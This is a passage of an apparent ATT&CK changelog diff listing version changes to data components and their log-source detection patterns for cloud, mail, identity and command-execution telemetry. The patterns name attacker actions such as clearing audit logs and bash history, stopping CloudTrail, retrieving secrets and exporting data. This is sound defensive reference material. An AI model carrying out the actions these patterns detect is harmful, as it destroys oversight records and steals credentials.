'channel': 'milter configuration updated, transport rule initialized, unexpected script execution'}, {'name': 'WinEventLog:Application', 'channel': 'Unexpected spikes in request volume, application-level errors, or thread pool exhaustion in web or API logs'}, {'name': 'linux:syslog', 'channel': 'Repetitive HTTP 408, 500, or 503 errors logged within short timeframe'}, {'name': 'macos:unifiedlog', 'channel': 'opendirectoryd crashes or abnormal authentication errors'}, {'name': 'm365:unified', 'channel': 'ConsentGranted: Abuse of application integrations to mint tokens bypassing MFA'}, {'name': 'WinEventLog:Application', 'channel': 'Browser or plugin/application logs showing script errors, plugin enumerations, or unusual extension load events'}, {'name': 'linux:syslog', 'channel': 'Application or browser logs (webview errors, plugin enumerations) indicating suspicious script evaluation or plugin loads'}, {'name': 'macos:unifiedlog', 'channel': 'Logs from unifiedlogging that show browser crashes, plugin enumerations, extension installs or errors around the same time as suspicious network fetches'}, {'name': 'm365:unified', 'channel': 'Application Consent grants, new OAuth client registrations, or unusual admin-level activities executed by a user account shortly after suspected drive-by compromise'}, {'name': 'WinEventLog:Application', 'channel': 'Outlook logs indicating failure to load or render HTML page in Home Page view'}, {'name': 'm365:unified', 'channel': 'Folder configuration updated with external or HTML-formatted Home Page via Set-MailboxFolder'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=1102'}, {'name': 'linux:cli', 'channel': 'cleared or truncated .bash_history'}, {'name': 'macos:unifiedlog', 'channel': 'log stream cleared or truncated'}, {'name': 'm365:unified', 'channel': 'PurgeAuditLogs, Remove-MailboxAuditLog'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=104'}, {'name': 'WinEventLog:Application', 'channel': 'EventCode=1000-1026'}, {'name': 'EDR:detection', 'channel': 'ThreatDetected, QuarantineLog'}, {'name': 'macos:unifiedlog', 'channel': 'quarantine or AV-related subsystem'}, {'name': 'EDR:detection', 'channel': 'ThreatLog'}, {'name': 'azure:signinlogs', 'channel': 'Modify Conditional Access Policy'}, {'name': 'm365:unified', 'channel': 'Set-CsOnlineUser or UpdateAuthPolicy'}, {'name': 'm365:unified', 'channel': 'New-InboxRule or Set-InboxRule events recorded in Exchange Online'}, {'name': 'ApplicationLog:MailServer', 'channel': 'Unexpected additions of sieve rules or filtering directives'}, {'name': 'm365:unified', 'channel': 'Transport rule or inbox rule creation events'}, {'name': 'ApplicationLog:Outlook', 'channel': 'Outlook client-level rule creation actions not consistent with normal user activity'}, {'name': 'kubernetes:orchestrator', 'channel': 'Access to orchestrator logs containing credentials (Docker/Kubernetes logs)'}, {'name': 'WinEventLog:Application', 'channel': 'Service crash, unhandled exception, or application hang warnings for critical services (e.g., IIS, DNS, SQL Server)'}, {'name': 'journald:systemd', 'channel': 'Repeated service restart attempts or unit failures'}, {'name': 'macos:unifiedlog', 'channel': 'Repeated process crashes logged by CrashReporter or system instability logs in com.apple.console'}, {'name': 'docker:events', 'channel': 'Container exited with non-zero code repeatedly in short period'}, {'name': 'WinEventLog:Application', 'channel': 'SCCM, Intune logs'}, {'name': 'macos:jamf', 'channel': 'RemoteCommandExecution'}, {'name': 'networkdevice:syslog', 'channel': 'config push events'}, {'name': 'linux:syslog', 'channel': 'processes binding to non-standard ports or sshd configured on unexpected port'}, {'name': 'm365:unified', 'channel': 'GAL Lookup or Address Book download'}, {'name': 'esxi:hostd', 'channel': 'Guest Operations API invocation: StartProgramInGuest, ListProcessesInGuest, ListFileInGuest, InitiateFileTransferFromGuest'}, {'name': 'm365:unified', 'channel': 'Send/Receive: Inbound emails with attachments from suspicious or spoofed senders'}, {'name': 'Application:Mail', 'channel': 'Inbound email attachments logged from MTAs with suspicious metadata'}, {'name': 'macos:unifiedlog', 'channel': 'Inbound messages with attachments from suspicious domains'}, {'name': 'WinEventLog:Application', 'channel': 'Unexpected web application errors or CMS logs showing modification to index.html, default.aspx, or other public-facing files'}, {'name': 'm365:unified', 'channel': 'certificate added or modified in application credentials'}, {'name': 'saas:Snowflake', 'channel': 'QUERY: Large or repeated SELECT * queries to sensitive tables'}, {'name': 'saas:Airtable', 'channel': 'EXPORT: User-triggered data export via GUI or API'}, {'name': 'ApplicationLog:CallRecords', 'channel': 'Outbound or inbound calls to high-risk or blocklisted numbers'}, {'name': 'networkdevice:syslog', 'channel': 'SIP REGISTER, INVITE, or unusual call destination metadata'}, {'name': 'macos:unifiedlog', 'channel': 'Outgoing or incoming calls with non-standard caller IDs or unusual metadata'}, {'name': 'm365:unified', 'channel': 'Unusual MFA requests or OAuth consent events temporally aligned with user-reported vishing call'}, {'name': 'docker:daemon', 'channel': 'container_create,container_start'}, {'name': 'saas:github', 'channel': 'Bulk access to multiple files or large volume of repo requests within short time window'}, {'name': 'm365:exchange', 'channel': 'Transport Rule Modification'}, {'name': 'm365:exchange', 'channel': 'Admin Audit Logs, Transport Rules'}, {'name': 'saas:application', 'channel': 'High-volume API calls or traffic via messaging or webhook service'}, {'name': 'm365:unified', 'channel': 'Set federation settings on domain|Set domain authentication|Add federated identity provider'}, {'name': 'linux:syslog', 'channel': 'system daemons initiating TLS sessions outside expected services'}, {'name': 'm365:unified', 'channel': 'SendOnBehalf/SendAs: Emails sent where the sending identity mismatches account ownership'}, {'name': 'Application:Mail', 'channel': 'Mismatch between authenticated username and From header in email'}, {'name': 'macos:unifiedlog', 'channel': 'Mail.app or third-party clients sending messages with mismatched From headers'}, {'name': 'gcp:workspaceaudit', 'channel': 'SendAs: Outbound messages with alias identities that differ from primary account'}, {'name': 'm365:unified', 'channel': 'Set-MailboxAutoReplyConfiguration: Unexpected rule changes creating impersonated replies'}, {'name': 'm365:unified', 'channel': 'SendOnBehalf/SendAs: Office Suite initiated messages using impersonated identities'}, {'name': 'WinEventLog:Application', 'channel': 'EventCode=1000'}, {'name': 'linux:syslog', 'channel': 'browser/office crash, segfault, abnormal termination'}, {'name': 'macos:unifiedlog', 'channel': 'process crash, abort, code signing violations'}, {'name': 'saas:okta', 'channel': 'WebUI access to administrator dashboard'}, {'name': 'm365:unified', 'channel': 'Read-only configuration review from GUI'}, {'name': 'saas:box', 'channel': 'User navigated to admin interface'}, {'name': 'azure:signinlogs', 'channel': 'Register PTA Agent or Modify AD FS trust'}, {'name': 'm365:unified', 'channel': 'Modify Federation Settings or Update Authentication Policy'}, {'name': 'saas:okta', 'channel': 'Federation configuration update or signing certificate change'}, {'name': 'macos:unifiedlog', 'channel': 'Configuration profile modified or new profile installed'}, {'name': 'WinEventLog:Application', 'channel': 'EventCode=1000, 1001, 1002'}, {'name': 'journald:Application', 'channel': 'Segfault or crash log entry associated with specific application binary'}, {'name': 'macos:unifiedlog', 'channel': 'Crash log entries for a process receiving malformed input or known exploit patterns'}, {'name': 'AWS:CloudWatch', 'channel': 'Repeated crash pattern within container or instance logs'}, {'name': 'esxi:hostd', 'channel': 'unexpected script invocations producing long encoded strings'}, {'name': 'docker:runtime', 'channel': 'execution of cloud CLI tool (e.g., aws, az) inside container'}, {'name': 'WinEventLog:Application', 'channel': 'VPN, Citrix, or remote access gateway logs showing external IP addresses'}, {'name': 'NSM:Connections', 'channel': 'Failed password or accepted password for SSH users'}, {'name': 'ApplicationLog:API', 'channel': 'Docker/Kubernetes API access from external sources'}, {'name': 'm365:unified', 'channel': 'Send/Receive: Unusual spikes in inbound messages to a single recipient'}, {'name': 'Application:Mail', 'channel': 'High-frequency inbound mail activity to a specific recipient address'}, {'name': 'm365:exchange', 'channel': 'MailDelivery: High-frequency delivery of messages or attachments to a single recipient'}, {'name': 'macos:unifiedlog', 'channel': 'Repetitive inbound email delivery activity logged within a short time window'}, {'name': 'saas:confluence', 'channel': 'access.content'}, {'name': 'm365:unified', 'channel': 'PowerShell: Add-MailboxPermission'}, {'name': 'AWS:CloudTrail', 'channel': 'InvokeFunction: Unexpected or repeated invocation of functions not tied to known workflows'}, {'name': 'm365:exchange', 'channel': 'New-InboxRule: Automation that triggers abnormal forwarding or external link generation'}, {'name': 'saas:googledrive', 'channel': 'FileOpen / FileAccess: Event-driven script triggering on user file actions'}, {'name': 'networkdevice:syslog', 'channel': 'Failed authentication requests redirected to non-standard portals'}, {'name': 'saas:okta', 'channel': 'System API Call: user.read, group.read'}, {'name': 'esxi:hostd', 'channel': 'Host daemon command log entries related to vib enumeration'}, {'name': 'm365:unified', 'channel': 'Add-MailboxPermission or Set-ManagementRoleAssignment'}, {'name': 'WinEventLog:Application', 'channel': 'Outlook rule creation, form load, or homepage redirection'}, {'name': 'm365:mailboxaudit', 'channel': 'Outlook rule creation or custom form deployment'}, {'name': 'saas:zoom', 'channel': 'unusual web session tokens and automation patterns during login'}, {'name': 'WinEventLog:Application', 'channel': 'High-frequency errors or hangs from resource-intensive application components (e.g., .NET, IIS, Office Suite)'}, {'name': 'linux:syslog', 'channel': 'Error/warning logs from services indicating load spike or worker exhaustion'}, {'name': 'macos:unifiedlog', 'channel': 'Application errors or resource contention from excessive frontend or script invocation'}, {'name': 'AWS:CloudWatch', 'channel': 'Elevated 5xx response rates in application logs or gateway layer'}, {'name': 'm365:messagetrace', 'channel': 'AuthenticationDetails=fail OR SPF=fail OR DKIM=fail OR DMARC=fail'}, {'name': 'linux:syslog', 'channel': 'SPF fail OR DKIM fail OR DMARC fail OR mismatched from_domain vs return_path_domain'}, {'name': 'macos:unifiedlog', 'channel': 'SPF fail OR DKIM fail OR DMARC fail OR mismatched header vs envelope domains'}, {'name': 'saas:email', 'channel': 'AuthenticationFailures (SPF/DKIM/DMARC) OR Domain Mismatch'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=1341,1342,1020,1063'}, {'name': 'linux:syslog', 'channel': 'suspicious DHCP lease assignment with unexpected DNS or gateway'}, {'name': 'macos:unifiedlog', 'channel': 'new DHCP configuration with anomalous DNS or router values'}, {'name': 'WinEventLog:Application', 'channel': 'Exchange logs or header artifacts'}, {'name': 'macos:unifiedlog', 'channel': 'Mail or AppleScript subsystem'}, {'name': 'm365:exchange', 'channel': 'MessageTrace logs'}, {'name': 'WinEventLog:Application', 'channel': 'EventCode=1000,1001'}, {'name': 'linux:syslog', 'channel': 'opened document|clicked link|segfault|abnormal termination|sandbox'}, {'name': 'macos:unifiedlog', 'channel': 'opened document|clicked link|EXC_BAD_ACCESS|abort|LSQuarantine'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663'}, {'name': 'm365:unified', 'channel': 'Set-PartnerOfRecord / CompanyAdministrator role assignments / New-DelegatedAdminRelationship'}, {'name': 'AWS:CloudTrail', 'channel': 'CreateUser|AttachRolePolicy|CreateAccessKey|UpdateAssumeRolePolicy|CreateLoginProfile'}, {'name': 'azure:activity', 'channel': 'Add role assignment / ElevateAccess / Create service principal'}, {'name': 'saas:googleworkspace', 'channel': 'OAuth2 authorization grants / Admin role assignments'}, {'name': 'm365:unified', 'channel': 'Add-DelegatedAdmin, Set-PartnerOfRecord, Add-MailboxPermission, Set-OrganizationRelationship'}, {'name': 'linux:syslog', 'channel': 'Authentication attempts into finance-related servers from unusual IPs or times'}, {'name': 'macos:unifiedlog', 'channel': 'Anomalous keychain access attempts targeting payment credentials'}, {'name': 'saas:finance', 'channel': 'Transaction/Transfer: Unusual or large transactions initiated outside business hours or by unusual accounts'}, {'name': 'saas:audit', 'channel': 'Rule/ConfigChange: Auto-forward rules, delegate assignments, or changes to financial approval workflows'}, {'name': 'm365:unified', 'channel': 'MailSend: Outlook messages with suspicious subject/body terms (e.g., urgent payment, wire transfer) targeting finance teams'}, {'name': 'm365:unified', 'channel': 'FileAccessed, FileDownloaded, SearchQueried'}, {'name': 'm365:unified', 'channel': 'Detection of hidden macro streams or SetHiddenAttribute actions'}, {'name': 'm365:unified', 'channel': 'RunMacro'}, {'name': 'azure:audit', 'channel': 'App registrations or consent grants by abnormal users or at unusual times'}, {'name': 'azure:signinlogs', 'channel': 'Resource access initiated using application credentials, not user accounts'}, {'name': 'saas:slack', 'channel': 'OAuth token use by unknown app client_id accessing private channels or files'}, {'name': 'esxi:esxupdate', 'channel': '/var/log/esxupdate.log contains VIB installed with `--force` or `--no-sig-check` and non-standard acceptance levels'}, {'name': 'linux:syslog', 'channel': 'sshd sessions with unusual port forwarding parameters'}, {'name': 'saas:audit', 'channel': 'Application added or consent granted: Integration persisting after original user disabled'}, {'name': 'linux:syslog', 'channel': 'Non-standard processes negotiating SSL/TLS key exchanges'}, {'name': 'esxi:vpxd', 'channel': 'ESXi process initiating asymmetric handshake with external host'}, {'name': 'WinEventLog:Application', 'channel': 'Unusual DLL/plugin registration for IIS/SQL/Apache or unexpected error logs'}, {'name': 'linux:syslog', 'channel': 'Module registration or stacktrace logs indicating segmentation faults or unknown module errors'}, {'name': 'esxi:hostd', 'channel': 'New extension/module install with unknown vendor ID'}, {'name': 'm365:unified', 'channel': 'FileUploaded or FileCopied events'}, {'name': 'saas:salesforce', 'channel': 'DataExport, RestAPI, Login, ReportExport'}, {'name': 'saas:hubspot', 'channel': 'contact_viewed, contact_exported, login'}, {'name': 'saas:slack', 'channel': 'conversations.history, files.list, users.info, audit_logs'}, {'name': 'm365:unified', 'channel': 'TeamsMessageAccess, TeamsExport, ExternalAppAccess'}, {'name': 'm365:unified', 'channel': 'TeamsMessagesAccessedViaEDiscovery, TeamsGraphMessageExport'}, {'name': 'm365:unified', 'channel': 'FileAccessed'}, {'name': 'm365:messagetrace', 'channel': 'X-MS-Exchange-Organization-AutoForwarded'}, {'name': 'linux:syslog', 'channel': 'Segfaults, kernel oops, or crashes in security software processes'}, {'name': 'macos:unifiedlog', 'channel': 'Abnormal terminations of com.apple.security.* or 3rd-party security daemons'}, {'name': 'AWS:CloudTrail', 'channel': 'StopLogging, DeleteTrail, UpdateTrail: API calls that disable or modify logging services'}, {'name': 'm365:unified', 'channel': 'ApplicationModified, ConsentGranted: Unexpected app consent or modification events linked to security evasion'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--40269753-26bd-437b-986e-159c66dec5e4
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:09:35.474000+00:002025-10-21 15:14:36.580000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0093] Certificate Registration

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0093', 'external_id': 'DC0093'}]
x_mitre_log_sources[{'name': 'Certificate', 'channel': 'None'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--29aa4e0e-4a26-4f79-a9bc-1ae66df1c923
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:14:58.597000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0090] Cloud Service Disable

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0090', 'external_id': 'DC0090'}]
x_mitre_log_sources[{'name': 'AWS:CloudTrail', 'channel': 'Stop logging for an existing CloudTrail'}, {'name': 'AWS:CloudTrail', 'channel': 'Removal of CloudTrail trail'}, {'name': 'azure:activity', 'channel': 'az monitor diagnostic-settings delete'}, {'name': 'saas:audit', 'channel': 'Log export integration removed or disabled'}, {'name': 'AWS:CloudTrail', 'channel': 'StopLogging, DeleteTrail, or DisableSecurityService'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--b1ddede4-cafe-4955-ac4c-14b33ac3f647
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:15:30.989000+00:002025-10-21 15:14:39.702000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0083] Cloud Service Enumeration

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0083', 'external_id': 'DC0083'}]
x_mitre_log_sources[{'name': 'AWS:CloudTrail', 'channel': 'GetSecretValue'}, {'name': 'gcp:secrets', 'channel': 'accessSecretVersion'}, {'name': 'azure:ad', 'channel': 'SecretGet'}, {'name': 'AWS:CloudTrail', 'channel': 'ssm:ListInventoryEntries'}, {'name': 'AWS:CloudTrail', 'channel': 'DescribeInstances, DescribeServices, ListFunctions: High frequency enumeration calls or unusual user agents performing discovery'}, {'name': 'azure:audit', 'channel': 'ListApplications, ListServicePrincipals: Large-scale queries against identity or application objects'}, {'name': 'm365:unified', 'channel': 'Get-MsolServicePrincipal, ListAppRoles: Service discovery operations executed by accounts not normally performing administrative tasks'}, {'name': 'saas:adminapi', 'channel': 'ListIntegrations, ListServices: Repeated service discovery requests from accounts without administrative responsibilities'}, {'name': 'AWS:CloudTrail', 'channel': 'GetInstanceIdentityDocument or IMDSv2 token requests'}, {'name': 'AWS:CloudTrail', 'channel': 'DescribeUsers / ListUsers / GetUser'}, {'name': 'azure:signinlogs', 'channel': 'Graph API Query'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--b1ddede4-cafe-4955-ac4c-14b33ac3f647
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:15:34.195000+00:002025-10-21 15:14:38.498000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0070] Cloud Service Metadata

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0070', 'external_id': 'DC0070'}]
x_mitre_log_sources[{'name': 'CloudTrail:GetInstanceIdentityDocument', 'channel': 'GetInstanceIdentityDocument'}, {'name': 'AWS:CloudTrail', 'channel': 'rds:ExecuteStatement: Large data access via RDS or Aurora with unknown session context'}, {'name': 'saas:github', 'channel': 'repo.download, repo.clone, oauth.authorize, repo.getContent'}, {'name': 'AWS:CloudWatch', 'channel': 'unexpected IAM user or role assuming privileges for instance/snapshot operations'}, {'name': 'CloudTrail:GetSecretValue', 'channel': 'API call to retrieve secret or access key'}, {'name': 'CloudTrail:InvokeFunction', 'channel': 'InvokeFunction'}, {'name': 'm365:sharepoint', 'channel': 'Multiple file download operations on a site by a privileged account in a short time window'}, {'name': 'saas:github', 'channel': 'CI/CD secret accessed or exported'}, {'name': 'm365:exchange', 'channel': 'Cmdlet - New-InboxRule'}, {'name': 'm365:unified', 'channel': 'New-InboxRule, Set-InboxRule'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--b1ddede4-cafe-4955-ac4c-14b33ac3f647
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:15:27.794000+00:002025-10-21 15:14:34.276000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0069] Cloud Service Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0069', 'external_id': 'DC0069'}]
x_mitre_log_sources[{'name': 'AWS:CloudTrail', 'channel': 'CreateFunction'}, {'name': 'm365:unified', 'channel': 'Creation of Power Automate flow triggered by OneDrive or Exchange event'}, {'name': 'AWS:CloudTrail', 'channel': 'PutUserPolicy, PutGroupPolicy, PutRolePolicy, CreatePolicyVersion'}, {'name': 'AWS:CloudTrail', 'channel': 'Condition block updated in IAM policy (e.g., aws:SourceIp, aws:RequestedRegion)'}, {'name': 'azure:activity', 'channel': 'operationName: Write, Access Review, RoleAssignment'}, {'name': 'azure:policy', 'channel': 'UpdatePolicy'}, {'name': 'AWS:CloudTrail', 'channel': 'UpdateAccountPasswordPolicy'}, {'name': 'AWS:CloudTrail', 'channel': 'PutIdentityPolicy'}, {'name': 'AWS:CloudTrail', 'channel': 'LeaveOrganization: API calls severing accounts from AWS Organizations'}, {'name': 'CloudTrail:Organizations', 'channel': 'CreateAccount: API calls creating new accounts in AWS Organizations'}, {'name': 'azure:audit', 'channel': 'Tenant subscription transfers or new management group creation'}, {'name': 'AWS:CloudTrail', 'channel': 'UpdateIdentityPolicy or DisableMFA'}, {'name': 'm365:unified', 'channel': 'SendMessage'}, {'name': 'gcp:config', 'channel': 'UpdateSink request modifying log export destinations'}, {'name': 'azure:policy', 'channel': 'DisableAuditLogs or ConditionalAccess logging changes'}, {'name': 'CloudTrail:UpdatePolicy', 'channel': 'UpdateFederationSettings or RegisterHybridConnector'}, {'name': 'AWS:CloudTrail', 'channel': 'CreateTrafficMirrorSession / ModifyTrafficMirrorTarget'}, {'name': 'azure:activity', 'channel': 'Microsoft.Network/networkWatchers/flowLogSettings/write'}, {'name': 'gcp:audit', 'channel': 'compute.packetMirroring.insert'}, {'name': 'AWS:CloudTrail', 'channel': 'CreateFunction / UpdateFunctionConfiguration: Function creation, role assignment, or configuration change events'}, {'name': 'm365:unified', 'channel': 'AddFlow / UpdateFlow: New automation or workflow creation events'}, {'name': 'saas:appsscript', 'channel': 'Create / Update: Deployment of scripts with event-driven triggers'}, {'name': 'saas:slack', 'channel': 'Exported file or accessed admin API'}, {'name': 'AWS:CloudTrail', 'channel': 'RequestServiceQuotaIncrease'}, {'name': 'azure:activity', 'channel': 'MICROSOFT.AUTHORIZATION/POLICIES/WRITE'}, {'name': 'gcp:audit', 'channel': 'projects.updateQuota or orgPolicies.updatePolicy'}, {'name': 'AWS:CloudTrail', 'channel': 'Delete* / Stop*: DeleteAlarms, StopLogging, or DisableMonitoring API calls'}, {'name': 'AWS:CloudTrail', 'channel': 'Use of temporary credentials issued from IMDS access'}, {'name': 'saas:github', 'channel': 'Workflow triggered via pull_request_target from forked repo'}, {'name': 'azure:audit', 'channel': 'Consent to application: OAuth application consent granted to service principal'}, {'name': 'saas:integration', 'channel': 'New or modified third-party application integrations with elevated permissions'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--b1ddede4-cafe-4955-ac4c-14b33ac3f647
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:15:24.409000+00:002025-10-21 15:14:35.943000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0025] Cloud Storage Access

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0025', 'external_id': 'DC0025'}]
x_mitre_log_sources[{'name': 'AWS:CloudTrail', 'channel': 'PutObject, CopyObject'}, {'name': 'AWS:CloudTrail', 'channel': 'PutObject, GetObject, CopyObject, DeleteObject'}, {'name': 'AWS:CloudTrail', 'channel': 'GetObject'}, {'name': 'AWS:CloudTrail', 'channel': 'PutObject: S3 writes with .sql/.csv extension by same identity or within 5 min of DB access'}, {'name': 'm365:unified', 'channel': 'Accessed SharePoint files or pages'}, {'name': 'm365:unified', 'channel': 'FileAccessed, FileDownloaded, ConsentGranted'}, {'name': 'gcp:workspaceaudit', 'channel': 'download, authorization_grant'}, {'name': 'm365:sharepoint', 'channel': 'AnonymousLinkCreated, FileDownloaded'}, {'name': 'm365:unified', 'channel': 'App-only or delegated access patterns where client_id != known enterprise apps'}, {'name': 'saas:github', 'channel': 'Artifact generated includes base64/encoded exfil payload or URL'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--2ce537a2-3b30-4374-9397-31d6460ec0bc
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:13:49.144000+00:002025-10-21 15:14:36.111000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0024] Cloud Storage Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0024', 'external_id': 'DC0024'}]
x_mitre_log_sources[{'name': 'AWS:CloudTrail', 'channel': 'CreateBucket'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--2ce537a2-3b30-4374-9397-31d6460ec0bc
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:14:01.974000+00:002025-10-21 15:14:39.305000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0022] Cloud Storage Deletion

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0022', 'external_id': 'DC0022'}]
x_mitre_log_sources[{'name': 'AWS:CloudTrail', 'channel': 'DeleteBucket, DeleteDBCluster, DeleteSnapshot, TerminateInstances'}, {'name': 'AWS:CloudTrail', 'channel': 'PutBackupVaultAccessPolicy'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--2ce537a2-3b30-4374-9397-31d6460ec0bc
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:13:58.772000+00:002025-10-21 15:14:38.644000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0017] Cloud Storage Enumeration

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0017', 'external_id': 'DC0017'}]
x_mitre_log_sources[{'name': 'AWS:CloudTrail', 'channel': 'ListBuckets'}, {'name': 'AWS:CloudTrail', 'channel': 'ListObjectsV2'}, {'name': 'azure:activity', 'channel': 'List Blobs'}, {'name': 'gcp:storage', 'channel': 'storage.objects.list'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--2ce537a2-3b30-4374-9397-31d6460ec0bc
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:13:55.587000+00:002025-10-21 15:14:38.903000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0027] Cloud Storage Metadata

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0027', 'external_id': 'DC0027'}]
x_mitre_log_sources[{'name': 'AWS:CloudTrail', 'channel': 'Post-authentication metadata enumeration from GUI session'}, {'name': 'm365:unified', 'channel': 'AnonymousLinkCreated'}, {'name': 'saas:box', 'channel': 'collaboration.invite'}, {'name': 'saas:dropbox', 'channel': 'Shared link created to external account'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--2ce537a2-3b30-4374-9397-31d6460ec0bc
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:13:52.404000+00:002025-10-21 15:14:39.767000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0023] Cloud Storage Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0023', 'external_id': 'DC0023'}]
x_mitre_log_sources[{'name': 'AWS:CloudTrail', 'channel': 'PutBucketLifecycle, PutLifecycleConfiguration, SetBucketLifecycle, storage.buckets.update'}, {'name': 'AWS:CloudTrail', 'channel': 'PutObject (with SSE-C), UploadPart (SSE-C)'}, {'name': 'AWS:CloudTrail', 'channel': 'PutBucketPolicy'}, {'name': 'm365:unified', 'channel': 'SharingSet'}, {'name': 'saas:googledrive', 'channel': 'drive.permission.add'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--2ce537a2-3b30-4374-9397-31d6460ec0bc
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:13:45.928000+00:002025-10-21 15:14:36.930000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0064] Command Execution

Current version: 2.0

Version changed from: 1.2 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0064', 'external_id': 'DC0064'}]
x_mitre_log_sources[{'name': 'Command', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of realmd, samba-tool, or ldapmodify with user-related arguments'}, {'name': 'macos:unifiedlog', 'channel': 'dsconfigad or dscl with create or append options for AD-bound users'}, {'name': 'EDR:AMSI', 'channel': 'None'}, {'name': 'linux:syslog', 'channel': '/var/log/syslog or journalctl'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Get-ADTrust|GetAllTrustRelationships'}, {'name': 'gcp:audit', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of script interpreters by systemd timer (ExecStart)'}, {'name': 'AWS:CloudTrail', 'channel': 'InvokeFunction'}, {'name': 'm365:unified', 'channel': 'Automated forwarding or file sync initiated by a logic app'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4104'}, {'name': 'linux:syslog', 'channel': 'Suspicious script or command execution targeting browser folders'}, {'name': 'esxi:shell', 'channel': 'snapshot create/copy, esxcli'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Commands like systemctl stop , service stop, or kill -9 '}, {'name': 'macos:unifiedlog', 'channel': 'launchctl unload, kill, or pkill commands affecting daemons or background services'}, {'name': 'macos:unifiedlog', 'channel': 'execution of security-agent detection or enumeration commands'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate'}, {'name': 